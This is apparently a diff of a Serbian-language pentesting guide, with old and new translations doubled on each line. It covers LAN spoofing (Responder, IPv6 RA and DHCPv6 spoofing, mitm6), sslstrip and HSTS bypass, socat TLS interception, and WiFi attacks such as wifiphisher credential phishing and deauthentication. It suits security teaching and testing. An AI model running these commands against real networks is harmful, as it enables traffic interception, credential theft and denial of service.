[+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100] [+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
[+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100] [+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
``` ```
### [Falsifikovanje LLMNR, NBT-NS i mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) ### [Spoofing LLMNR, NBT-NS, and mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
Za lokalno razrešavanje imena kada DNS upiti ne uspeju, Microsoft sistemi se oslanjaju na **Link-Local Multicast Name Resolution (LLMNR)** i **NetBIOS Name Service (NBT-NS)**. Slično tome, **Apple Bonjour** i **Linux zero-configuration** implementacije koriste **Multicast DNS (mDNS)** za otkrivanje sistema unutar mreže. Zbog neautentifikovane prirode ovih protokola i njihovog rada preko UDP, emitovanjem poruka, oni mogu biti iskorišćeni od strane napadača koji ciljaju da preusmere korisnike ka zlonamernim servisima. Za lokalno rešavanje hostova kada DNS pretrage nisu uspešne, Microsoft sistemi se oslanjaju na **Link-Local Multicast Name Resolution (LLMNR)** i **NetBIOS Name Service (NBT-NS)**. Slično tome, **Apple Bonjour** i **Linux zero-configuration** implementacije koriste **Multicast DNS (mDNS)** za otkrivanje sistema unutar mreže. Zbog neautentifikovane prirode ovih protokola i njihove operacije preko UDP, emitovanjem poruka, mogu ih iskoristiti napadači koji imaju za cilj da preusmere korisnike na zlonamerne usluge.
Možete se predstaviti kao servisi koje traže hostovi koristeći Responder za slanje lažnih odgovora.\ Možete se pretvarati da ste usluge koje traže hostovi koristeći Responder za slanje lažnih odgovora.\
Pročitajte više informacija o [kako se predstaviti kao servis pomoću Responder-a](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). Pročitajte ovde više informacija o [kako se pretvarati da ste usluge sa Responder-om](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
### [Falsifikovanje WPAD-a](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) ### [Spoofing WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
Pregledači često koriste **Web Proxy Auto-Discovery (WPAD)** protokol za automatsko dobijanje podešavanja proksi servera. To uključuje dobijanje detalja konfiguracije sa servera, posebno putem URL-a poput "http://wpad.example.org/wpad.dat". Otkrivanje ovog servera od strane klijenata može se desiti putem različitih mehanizama: Pregledači obično koriste **Web Proxy Auto-Discovery (WPAD) protokol za automatsko preuzimanje proxy podešavanja**. To uključuje preuzimanje konfiguracionih detalja sa servera, posebno putem URL-a kao što je "http://wpad.example.org/wpad.dat". Otkriće ovog servera od strane klijenata može se dogoditi kroz različite mehanizme:
* Putem **DHCP**, gde se otkrivanje olakšava korišćenjem specijalnog unosa koda 252. * Kroz **DHCP**, gde se otkrivanje olakšava korišćenjem posebnog koda 252.
* Preko **DNS-a**, što uključuje traženje imena hosta označenog sa _wpad_ unutar lokalne domene. * Preko **DNS**, što uključuje pretragu za imenom hosta označenim kao _wpad_ unutar lokalne domene.
* Putem **Microsoft LLMNR i NBT-NS**, koji su rezervni mehanizmi korišteni u slučajevima kada DNS upiti ne uspeju. * Putem **Microsoft LLMNR i NBT-NS**, koji su mehanizmi povratne veze korišćeni u slučajevima kada DNS pretrage ne uspevaju.
Alat Responder iskorišćava ovaj protokol delujući kao **zlonamerni WPAD server**. Koristi DHCP, DNS, LLMNR i NBT-NS da zavede klijente da se povežu sa njim. Da biste dublje istražili kako servisi mogu biti predstavljeni korišćenjem Responder-a [proverite ovo](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). Alat Responder koristi ovaj protokol delujući kao **zlonameran WPAD server**. Koristi DHCP, DNS, LLMNR i NBT-NS da zavarava klijente da se povežu sa njim. Da biste dublje istražili kako se usluge mogu pretvarati koristeći Responder [proverite ovo](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
### [Falsifikovanje SSDP i UPnP uređaja](spoofing-ssdp-and-upnp-devices.md) ### [Spoofing SSDP and UPnP devices](spoofing-ssdp-and-upnp-devices.md)
Možete ponuditi različite servise u mreži kako biste **prevarili korisnika** da unese neke **plain-text kredencijale**. **Više informacija o ovom napadu u** [**Falsifikovanje SSDP i UPnP uređaja**](spoofing-ssdp-and-upnp-devices.md)**.** Možete ponuditi različite usluge u mreži kako biste pokušali da **prevarite korisnika** da unese neke **plain-text akreditive**. **Više informacija o ovom napadu u** [**Spoofing SSDP and UPnP Devices**](spoofing-ssdp-and-upnp-devices.md)**.**
### IPv6 Falsifikovanje Suseda ### IPv6 Neighbor Spoofing
Ovaj napad je veoma sličan ARP Falsifikovanju ali u svetu IPv6. Možete naterati žrtvu da pomisli da IPv6 GW ima MAC adresu napadača. Ovaj napad je vrlo sličan ARP Spoofingu, ali u svetu IPv6. Možete navesti žrtvu da pomisli da IPv6 GW ima MAC adresu napadača.
```bash ```bash
sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds
``` ```
### IPv6 Router Advertisement Spoofing/Flooding ### IPv6 Router Advertisement Spoofing/Flooding
Neke OS konfigurišu po difoltu gateway iz RA paketa poslatih u mreži. Da biste proglasili napadača kao IPv6 ruter možete koristiti: Neki operativni sistemi podrazumevano konfigurišu gateway iz RA paketa poslatih u mreži. Da biste proglasili napadača kao IPv6 ruter, možete koristiti:
```bash ```bash
sysctl -w net.ipv6.conf.all.forwarding=1 4 sysctl -w net.ipv6.conf.all.forwarding=1 4
ip route add default via <ROUTER_IPv6> dev wlan0 ip route add default via <ROUTER_IPv6> dev wlan0
@ -682,20 +687,20 @@ fake_router6 wlan0 fe80::01/16
``` ```
### IPv6 DHCP spoofing ### IPv6 DHCP spoofing
Podrazumevano, neki operativni sistemi pokušavaju da konfigurišu DNS čitanjem DHCPv6 paketa u mreži. Zatim, napadač može poslati DHCPv6 paket da se konfiguriše kao DNS. DHCP takođe pruža IPv6 adresu žrtvi. Podrazumevano, neki operativni sistemi pokušavaju da konfigurišu DNS čitajući DHCPv6 paket u mreži. Tada bi napadač mogao poslati DHCPv6 paket da se konfiguriše kao DNS. DHCP takođe obezbeđuje IPv6 žrtvi.
```bash ```bash
dhcp6.spoof on dhcp6.spoof on
dhcp6.spoof.domains <list of domains> dhcp6.spoof.domains <list of domains>
mitm6 mitm6
``` ```
### HTTP (lažna stranica i ubacivanje JS koda) ### HTTP (lažna stranica i JS kod injekcija)
## Internet napadi ## Internet napadi
### sslStrip ### sslStrip
Osnovno što ovaj napad radi je, u slučaju da **korisnik** pokuša **pristupiti** **HTTP** stranici koja se **preusmjerava** na **HTTPS** verziju. **sslStrip** će **održavati** **HTTP vezu sa** **klijentom** i **HTTPS vezu sa** **serverom** tako da će moći da **uhvati** vezu u **čistom tekstu**. U suštini, ono što ovaj napad radi je da, u slučaju da **korisnik** pokuša da **pristupi** **HTTP** stranici koja se **preusmerava** na **HTTPS** verziju. **sslStrip** će **održavati** **HTTP vezu sa** **klijentom i** **HTTPS vezu sa** **serverom** tako da će moći da **snifa** vezu u **čistom tekstu**.
```bash ```bash
apt-get install sslstrip apt-get install sslstrip
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
@ -708,14 +713,14 @@ Više informacija [ovde](https://www.blackhat.com/presentations/bh-dc-09/Marlins
### sslStrip+ i dns2proxy za zaobilaženje HSTS ### sslStrip+ i dns2proxy za zaobilaženje HSTS
**Razlika** između **sslStrip+ i dns2proxy** u odnosu na **sslStrip** je što će **preusmeriti** na primer _**www.facebook.com**_ **na** _**wwww.facebook.com**_ (primetite dodatno slovo "**w**") i postaviće **IP adresu ovog domena kao napadački IP**. Na ovaj način, **klijent** će se **povezati** na _**wwww.facebook.com**_ **(napadača)** ali iza kulisa **sslstrip+** će **održavati** pravu vezu putem https sa **www.facebook.com**. **Razlika** između **sslStrip+ i dns2proxy** u odnosu na **sslStrip** je u tome što će **preusmeriti** na primer _**www.facebook.com**_ **na** _**wwww.facebook.com**_ (obratite pažnju na **dodatno** "**w**") i postaviće **adresu ovog domena kao IP napadača**. Na ovaj način, **klijent** će se **povezati** na _**wwww.facebook.com**_ **(napadač)**, ali u pozadini **sslstrip+** će **održavati** **pravu vezu** putem https sa **www.facebook.com**.
**Cilj** ove tehnike je da **izbegne HSTS** jer se _**wwww**.facebook.com_ **neće** sačuvati u kešu pregledača, tako da će pregledač biti prevaren da izvrši **autentikaciju na Facebook-u preko HTTP**.\ **Cilj** ove tehnike je da **izbegne HSTS** jer _**wwww**.facebook.com_ **neće** biti sačuvan u **kešu** pregledača, tako da će preglednik biti prevaren da izvrši **facebook autentifikaciju u HTTP**.\
Imajte na umu da bi se izveo ovaj napad, žrtva mora pokušati prvo da pristupi [http://www.faceook.com](http://www.faceook.com) a ne https. Ovo se može postići modifikovanjem linkova unutar http stranice. Napomena: da bi se izvršio ovaj napad, žrtva mora prvo pokušati da pristupi [http://www.faceook.com](http://www.faceook.com) a ne https. To se može uraditi modifikovanjem linkova unutar http stranice.
Više informacija [ovde](https://www.bettercap.org/legacy/#hsts-bypass), [ovde](https://www.slideshare.net/Fatuo\_\_/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) i [ovde](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly). Više informacija [ovde](https://www.bettercap.org/legacy/#hsts-bypass), [ovde](https://www.slideshare.net/Fatuo\_\_/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) i [ovde](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly).
**sslStrip ili sslStrip+ više ne funkcionišu. To je zato što postoje HSTS pravila unapred sačuvana u pregledačima, tako da čak i ako je prvi put da korisnik pristupa "važnom" domenu, pristupiće mu putem HTTPS. Takođe, primetite da unapred sačuvana pravila i druga generisana pravila mogu koristiti zastavicu** [**`includeSubdomains`**](https://hstspreload.appspot.com) **tako da primer _**wwww.facebook.com**_ od ranije više neće funkcionisati jer** _**facebook.com**_ **koristi HSTS sa `includeSubdomains`.** **sslStrip ili sslStrip+ više ne funkcionišu. To je zato što postoje HSTS pravila unapred sačuvana u pregledačima, tako da čak i ako je prvi put da korisnik pristupa "važnom" domenu, on će mu pristupiti putem HTTPS. Takođe, obratite pažnju da unapred sačuvana pravila i druga generisana pravila mogu koristiti oznaku** [**`includeSubdomains`**](https://hstspreload.appspot.com) **tako da** _**wwww.facebook.com**_ **primer iz prethodnog dela više neće raditi jer** _**facebook.com**_ **koristi HSTS sa `includeSubdomains`.**
TODO: easy-creds, evilgrade, metasploit, factory TODO: easy-creds, evilgrade, metasploit, factory
@ -726,7 +731,7 @@ socat TCP4-LISTEN:80,fork,reuseaddr -
``` ```
## TCP + SSL slušanje na portu ## TCP + SSL slušanje na portu
#### Generisanje ključeva i samopotpisanog sertifikata #### Generišite ključeve i samopotpisani sertifikat
``` ```
FILENAME=server FILENAME=server
# Generate a public/private key pair: # Generate a public/private key pair:
@ -736,18 +741,18 @@ openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt
# Generate the PEM file by just appending the key and certificate files: # Generate the PEM file by just appending the key and certificate files:
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
``` ```
#### Slušanje korišćenjem sertifikata #### Slušanje pomoću sertifikata
``` ```
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 - sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -
``` ```
#### Slušajte koristeći sertifikat i preusmerite ka hostovima #### Slušanje koristeći sertifikat i preusmeravanje na hostove
``` ```
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0 sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0
``` ```
Ponekad, ako klijent proveri da li je CA validan, možete **poslužiti sertifikat drugog imena hosta potpisan od strane CA**.\ Nekada, ako klijent proveri da li je CA validan, mogli biste **poslužiti sertifikat drugog imena hosta potpisan od strane CA**.\
Još jedan interesantan test je da poslužite **sertifikat za traženi hostname ali samopotpisan**. Još jedan zanimljiv test je da poslužite **sertifikat traženog imena hosta, ali samopotpisan**.
Drugi testovi koje možete izvršiti su pokušaj potpisivanja sertifikata validnim sertifikatom koji nije validan CA. Ili korišćenje validnog javnog ključa, prisiljavanje korišćenja algoritma poput Diffie-Hellman-a (koji ne zahteva dešifrovanje bilo čega sa pravim privatnim ključem) i kada klijent zatraži probu pravog privatnog ključa (poput heša), poslati lažnu probu i očekivati da klijent to ne proveri. Druge stvari koje treba testirati su pokušaj potpisivanja sertifikata sa validnim sertifikatom koji nije validan CA. Ili koristiti validni javni ključ, primorati korišćenje algoritma kao što je diffie hellman (onog koji ne zahteva dešifrovanje bilo čega sa pravim privatnim ključem) i kada klijent zatraži probe pravog privatnog ključa (kao što je hash) poslati lažnu probu i očekivati da klijent to ne proveri.
## Bettercap ## Bettercap
```bash ```bash
@ -775,19 +780,19 @@ set wifi.ap.channel 5
set wifi.ap.encryption false #If true, WPA2 set wifi.ap.encryption false #If true, WPA2
wifi.recon on; wifi.ap wifi.recon on; wifi.ap
``` ```
### Beleške o aktivnom otkrivanju ### Active Discovery Notes
Imajte na umu da kada se UDP paket pošalje uređaju koji nema traženi port, šalje se ICMP (Port Unreachable). Imajte na umu da kada se UDP paket pošalje uređaju koji nema traženi port, šalje se ICMP (Port Unreachable).
### **ARP otkrivanje** ### **ARP discover**
ARP paketi se koriste za otkrivanje IP adresa koje se koriste unutar mreže. Računar mora poslati zahtev za svaku moguću IP adresu i samo će one koje se koriste odgovoriti. ARP paketi se koriste za otkrivanje koji IP-ovi se koriste unutar mreže. PC mora poslati zahtev za svaku moguću IP adresu i samo oni koji se koriste će odgovoriti.
### **mDNS (multicast DNS)** ### **mDNS (multicast DNS)**
Bettercap šalje MDNS zahtev (svakih X ms) tražeći **\_services\_.dns-sd.\_udp.local** mašinu koja vidi ovaj paket obično odgovara na ovaj zahtev. Zatim, traži samo mašine koje odgovaraju na "services". Bettercap šalje MDNS zahtev (svakih X ms) tražeći **\_services\_.dns-sd.\_udp.local** mašina koja vidi ovaj paket obično odgovara na ovaj zahtev. Zatim, samo traži mašine koje odgovaraju na "services".
**Alati** **Tools**
* Avahi-browser (--all) * Avahi-browser (--all)
* Bettercap (net.probe.mdns) * Bettercap (net.probe.mdns)
@ -799,34 +804,35 @@ Bettercap emituje pakete na port 137/UDP tražeći ime "CKAAAAAAAAAAAAAAAAAAAAAA
### **SSDP (Simple Service Discovery Protocol)** ### **SSDP (Simple Service Discovery Protocol)**
Bettercap emituje SSDP pakete tražeći sve vrste servisa (UDP Port 1900). Bettercap emituje SSDP pakete tražeći sve vrste usluga (UDP Port 1900).
### **WSD (Web Service Discovery)** ### **WSD (Web Service Discovery)**
Bettercap emituje WSD pakete tražeći servise (UDP Port 3702). Bettercap emituje WSD pakete tražeći usluge (UDP Port 3702).
## Reference ## References
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) * [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
* **Network Security Assessment: Know Your Network (3. izdanje)** * **Network Security Assessment: Know Your Network (3rd edition)**
* **Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things. By Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood** * **Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things. By Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood**
* [https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) * [https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\ <img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
**Savet za bug bounty**: **registrujte se** za **Intigriti**, premium **platformu za bug bounty kreiranu od hakera, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas, i počnite da zarađujete nagrade do **$100,000**! **Bug bounty tip**: **prijavite se** za **Intigriti**, premium **bug bounty platformu koju su kreirali hakeri, za hakere**! Pridružite nam se na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) danas, i počnite da zarađujete nagrade do **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %} {% embed url="https://go.intigriti.com/hacktricks" %}
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA ČLANSTVO**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}

View file

@ -1,35 +1,36 @@
# Testiranje bezbednosti Wifi mreža # Pentesting Wifi
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA ČLANSTVO**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks merch**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru kako biste komunicirali sa iskusnim hakerima i lovcima na bagove! Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru da komunicirate sa iskusnim hakerima i lovcima na greške!
**Uvidi u Hakovanje**\ **Hakerski Uvidi**\
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
**Vesti o Hakovanju u Realnom Vremenu**\ **Vesti o Haku u Realnom Vremenu**\
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
**Poslednje Najave**\ **Najnovija Obaveštenja**\
Budite informisani o najnovijim nagradama za pronalaženje bagova i bitnim ažuriranjima platformi Budite informisani o najnovijim nagradama za greške i važnim ažuriranjima platformi
**Pridružite nam se na** [**Discord-u**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas! **Pridružite nam se na** [**Discordu**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
## Osnovne komande za Wifi ## Wifi osnovne komande
```bash ```bash
ip link show #List available interfaces ip link show #List available interfaces
iwconfig #List available interfaces iwconfig #List available interfaces
@ -57,7 +58,7 @@ mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe
``` ```
**Pokrenite airgeddon pomoću dockera** **Pokrenite airgeddon sa docker-om**
```bash ```bash
docker run \ docker run \
--rm \ --rm \
@ -72,7 +73,7 @@ v1s1t0r1sh3r3/airgeddon
``` ```
### wifiphisher ### wifiphisher
Može izvršiti Evil Twin, KARMA i Known Beacons napade, a zatim koristiti phishing šablon da bi uspeo da dobije pravi lozinku mreže ili da uhvati kredencijale društvenih mreža. Može izvesti napade Evil Twin, KARMA i Known Beacons, a zatim koristiti phishing šablon da bi uspeo da dobije pravu lozinku mreže ili da uhvati kredencijale društvenih mreža.
```bash ```bash
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory cd wifiphisher # Switch to tool's directory
@ -80,65 +81,65 @@ sudo python setup.py install # Install any dependencies
``` ```
### [Wifite2](https://github.com/derv82/wifite2) ### [Wifite2](https://github.com/derv82/wifite2)
Ovaj alat automatizuje napade na **WPS/WEP/WPA-PSK**. Automatski će: Ovaj alat automatizuje **WPS/WEP/WPA-PSK** napade. Automatski će:
* Postaviti interfejs u režim za praćenje * Postaviti interfejs u režim nadgledanja
* Skenirati moguće mreže - I omogućiti vam da odaberete žrtvu(e) * Skenerirati moguće mreže - I omogućiti vam da odaberete žrtvu(e)
* Ako je u pitanju WEP - Pokrenuti napade na WEP * Ako je WEP - Pokrenuti WEP napade
* Ako je u pitanju WPA-PSK * Ako je WPA-PSK
* Ako je u pitanju WPS: Napad Pixie dust i napad brute-force (budite oprezni, brute-force napad može potrajati dugo). Imajte na umu da ne pokušava null PIN ili baze/generisane PIN-ove. * Ako je WPS: Pixie dust napad i bruteforce napad (budite oprezni, bruteforce napad može potrajati dugo). Imajte na umu da ne pokušava null PIN ili bazu/generisane PIN-ove.
* Pokušati da uhvati PMKID sa AP-a radi pucanja * Pokušati da uhvati PMKID sa AP-a da bi ga razbio
* Pokušati da deautentifikuje klijente AP-a kako bi uhvatio handshake * Pokušati da deautentifikuje klijente AP-a da bi uhvatio handshake
* Ako je PMKID ili Handshake, pokušati brute-force sa top5000 lozinki. * Ako PMKID ili Handshake, pokušati da bruteforce koristeći top5000 lozinki.
## Sumarizacija Napada ## Pregled napada
* **DoS** * **DoS**
* Deautentifikacija/disasocijacija -- Diskonektovati sve (ili određeni ESSID/Klijent) * Deautentifikacija/disasocijacija -- Isključiti sve (ili specifični ESSID/klijent)
* Slučajne lažne AP-ove -- Sakrij mreže, mogući pad skenera * Nasumični lažni AP-ovi -- Sakriti mreže, moguće srušiti skener
* Preopterećenje AP-a -- Pokušajte da onesposobite AP (obično nije jako korisno) * Preopteretiti AP -- Pokušati da ubije AP (obično nije vrlo korisno)
* WIDS -- Igrajte se sa IDS-om * WIDS -- Igrati se sa IDS-om
* TKIP, EAPOL -- Neki specifični napadi za DoS nekih AP-ova * TKIP, EAPOL -- Neki specifični napadi za DoS neke AP-ove
* **Pucanje** * **Cracking**
* Pucanje **WEP** (nekoliko alata i metoda) * Razbiti **WEP** (nekoliko alata i metoda)
* **WPA-PSK** * **WPA-PSK**
* **WPS** pin "Brute-Force" * **WPS** pin "Brute-Force"
* **WPA PMKID** brute-force * **WPA PMKID** bruteforce
* \[DoS +] Uhvatanje **WPA handshake**-a + Pucanje * \[DoS +] **WPA handshake** hvatanje + Razbijanje
* **WPA-MGT** * **WPA-MGT**
* **Uhvatanje korisničkog imena** * **Hvatanje korisničkog imena**
* **Brute-force** Kredencijala * **Bruteforce** akreditivi
* **Zli blizanac** (sa ili bez DoS-a) * **Evil Twin** (sa ili bez DoS)
* **Otvoreni** Zli blizanac \[+ DoS] -- Korisno za hvatanje kredencijala za captive portal i/ili izvođenje LAN napada * **Open** Evil Twin \[+ DoS] -- Korisno za hvatanje akreditiva sa captive portala i/ili izvođenje LAN napada
* **WPA-PSK** Zli blizanac -- Korisno za mrežne napade ako znate lozinku * **WPA-PSK** Evil Twin -- Korisno za mrežne napade ako znate lozinku
* **WPA-MGT** -- Korisno za hvatanje korporativnih kredencijala * **WPA-MGT** -- Korisno za hvatanje akreditiva kompanije
* **KARMA, MANA**, **Glasan MANA**, **Poznati beacon** * **KARMA, MANA**, **Loud MANA**, **Poznati beacon**
* **+ Otvoreni** -- Korisno za hvatanje kredencijala za captive portal i/ili izvođenje LAN napada * **+ Open** -- Korisno za hvatanje akreditiva sa captive portala i/ili izvođenje LAN napada
* **+ WPA** -- Korisno za hvatanje WPA handshake-ova * **+ WPA** -- Korisno za hvatanje WPA handshakes
## DOS ## DOS
### Paketi Deautentifikacije ### Deautentifikacijski paketi
**Opis sa** [**ovde**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.** **Opis iz** [**ovde**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
